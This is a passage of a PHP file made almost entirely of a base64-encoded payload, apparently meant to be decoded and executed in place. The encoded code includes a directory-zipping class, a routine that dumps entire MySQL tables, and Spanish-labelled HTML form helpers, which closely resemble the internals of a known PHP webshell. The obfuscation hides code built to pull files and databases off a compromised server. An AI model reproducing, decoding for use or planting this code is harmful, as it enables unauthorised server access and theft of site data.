24gc2l6ZWNvdW50KCRzaXplKSB7DQoNCglpZigkc2l6ZSA+IDEwNzM3NDE4MjQpIHsNCg0KCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAnIEcnOw0KDQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gJyBNJzsNCg0KCX0gZWxzZWlmKCRzaXplID4gMTAyNCkgew0KDQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoNCgl9IGVsc2Ugew0KDQoJCSRzaXplID0gJHNpemUgLiAnIEInOw0KDQoJfQ0KDQoJcmV0dXJuICRzaXplOw0KDQp9DQoNCg0KDQovLyAmIzExNDU7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCmNsYXNzIFBIUFppcHsNCg0KCXZhciAkb3V0PScnOw0KDQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCg0KCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7DQoNCgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsNCg0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KDQoJCQllbHNlew0KDQoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vJiMxMjk7fyYjMzE2OyYjMTI5O38mIzEyOTt/p9ImIzEyOTt/DQoNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoNCgkJCX0NCg0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7DQoNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoNCgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KDQoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsNCg0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCg0KCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsNCg0KCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7DQoNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCg0KCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KDQoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOw0KDQoJCQkJCX0NCg0KCQkJCX0NCg0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7DQoNCgkJCQljaGRpcigkY3VyZGlyKTsNCg0KCQkJfQ0KDQoJCQlyZXR1cm4gMTsNCg0KCQl9DQoNCgkJZWxzZSByZXR1cm4gMDsNCg0KCX0NCg0KDQpmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCg0KCQlzdGF0aWMgJGE7DQoNCgkJaWYgKGlzX2RpcigkZGlyKSkgew0KDQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KDQoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7DQoNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoNCgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoNCgkJCQkJCSRhW109JGY7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQkJY2xvc2VkaXIoJGRoKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlyZXR1cm4gJGE7DQoNCgl9DQoNCg0KDQoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KDQoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KDQoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KDQoNCg0KCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7DQoNCgkJJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCg0KCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsNCg0KCQkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCg0KCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCg0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCg0KCQl9IC8vIGVuZCBpZg0KDQoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoNCgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsNCg0KDQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCg0KCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoNCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KDQoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KDQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwMFx4MDAiOw0KDQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KDQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoNCg0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCg0KCQkkY3JjID0gY3JjMzIoJGRhdGEpOw0KDQoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KDQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KDQoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KDQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoNCgkJJGZyIC49ICRuYW1lOw0KDQoJCSRmciAuPSAkemRhdGE7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCg0KCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoNCg0KDQoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCg0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KDQoNCg0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoNCgkJJGNkcmVjIC49ICJceDA4XHgwMCI7DQoNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KDQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCg0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoNCgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KDQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KDQoNCgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCg0KCX0NCg0KDQoNCglmdW5jdGlvbiBmaWxlKCkgew0KDQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoNCgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoNCgkJcmV0dXJuICRkYXRhIC4gJGN0cmxkaXIgLiAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLglwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLiBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLiAiXHgwMFx4MDAiOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyAmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzE5MTk7JiMxMjk7fw0KDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KDQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KDQoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOw0KDQoNCg0KCSRmaXJzdGZpZWxkPTE7DQoNCg0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsNCg0KCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJfSBlbHNlIHsNCg0KCQkJJGZpcnN0ZmllbGQ9MDsNCg0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOw0KDQoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCg0KCQl9DQoNCgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoNCgkJfQ0KDQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRmaWVsZHMpOw0KDQoNCg0KCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7DQoNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KDQoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOw0KDQoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7DQoNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoNCgkJfQ0KDQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsNCg0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KDQoJCX0NCg0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsNCg0KCX0NCg0KCWZyKCRrZXlzKTsNCg0KDQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KDQoJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoNCgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsNCg0KDQoNCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCg0KCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KDQoJCQl9DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7DQoNCglpZiAoJGZwKSB7DQoNCgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCg0KCX0gZWxzZSB7DQoNCgkJZWNobyAkdGFibGVkdW1wOw0KDQoJfQ0KDQoNCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCg0KCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCg0KCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7DQoNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCg0KDQoJCSRmaWVsZGNvdW50ZXI9LTE7DQoNCgkJJGZpcnN0ZmllbGQ9MTsNCg0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCg0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KDQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCSRmaXJzdGZpZWxkPTA7DQoNCgkJCX0NCg0KDQoNCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCg0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoNCgkJCX0NCg0KCQl9DQoNCg0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJZWNobyAkdGFibGVkdW1wOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRyb3dzKTsNCg0KCWlmICgkZnApIHsNCg0KCQlmd3JpdGUoJGZwLCJcbiIpOw0KDQoJfSBlbHNlIHsNCg0KCQllY2hvICJcbiI7DQoNCgl9DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHVlKCRzdHIpew0KDQoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcCgkc3RyKXsNCg0KCWVjaG8gJHN0ci4iXG4iOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoNCglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KfQ0KDQpmdW5jdGlvbiB0YmZvb3QoKXsNCg0KCXAoJzwvdGFibGU+Jyk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7DQoNCglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7DQoNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoNCgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsNCg0KCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOw0KDQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoNCgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgew0KDQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoNCgl9IGVsc2Ugew0KDQoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoNCglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgew0KDQoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsNCg0KCX0NCg0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7DQoNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCg0KCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7DQoNCgkJCWlmICgkYXJnWydub2tleSddKSB7DQoNCgkJCQlmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAkdmFsdWUpIHsNCg0KCQkJCQlpZiAoJGFyZ1snc2VsZWN0ZWQnXT09JHZhbHVlKSB7DQoNCgkJCQkJCXAoIjxvcHRpb24gdmFsdWU9XCIkdmFsdWVcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJHZhbHVlXCI+JHZhbHVlPC9vcHRpb24+Iik7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoNCgkJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCg0KCQkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KDQoJCQkJCX0NCg0KCQkJCX0NCg0KCQkJfQ0KDQoJCX0NCg0KCXAoIjwvc2VsZWN0PiIpOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOw0KDQp9DQoNCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoNCglnbG9iYWwgJHNlbGY7DQoNCgkhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7DQoNCgkhJGFyZ1snYWN0aW9uJ10gJiYgJGFyZ1snYWN0aW9uJ10gPSAkc2VsZjsNCg0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoNCgkhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7DQoNCglwKCI8Zm9ybSBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIGFjdGlvbj1cIiRhcmdbYWN0aW9uXVwiIG1ldGhvZD1cIiRhcmdbbWV0aG9kXVwiICRhcmdbdGFyZ2V0XT4iKTsNCg0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoNCgkJcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOw0KDQoJfQ0KDQp9DQoNCgkNCg0KZnVuY3Rpb24gbWFrZXRleHQoJGFyZyA9IGFycmF5KCkpew0KDQoJISRhcmdbJ2NvbHMnXSAmJiAkYXJnWydjb2xzJ10gPSAxMDA7DQoNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KDQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoNCglwKCI8cD4kYXJnW3RpdGxlXTx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGNvbHM9XCIkYXJnW2NvbHNdXCIgcm93cz1cIiRhcmdbcm93c11cIiAkYXJnW2V4dHJhXT4kYXJnW3ZhbHVlXTwvdGV4dGFyZWE+PC9wPiIpOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lID0gJycpew0KDQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoNCglwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRuYW1lLiciIGlkPSInLiRuYW1lLiciIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudmlhciI+PC9wPicpOw0KDQoJcCgnPC9mb3JtPicpOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBnb2JhY2soKXsNCg0KCWdsb2JhbCAkc2VsZiwgJG5vd3BhdGg7DQoNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJmaWxlIiAvPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicuJG5vd3BhdGguJyIgLz48cD48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWdyZXNhci4uLiI+PC9wPjwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KLy8gJiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMzM4OyYjMTI5O38mIzEyOTt/JiMxMjk7fw0KDQpmdW5jdGlvbiBwcigkYSkgew0KDQoJZWNobyAnPHByZT4nOw0KDQoJcHJpbnRfcigkYSk7DQoNCgllY2hvICc8L3ByZT4nOw0KDQp9DQoNCmVjaG8gIlxuIjsNCj8+DQo=")); ?>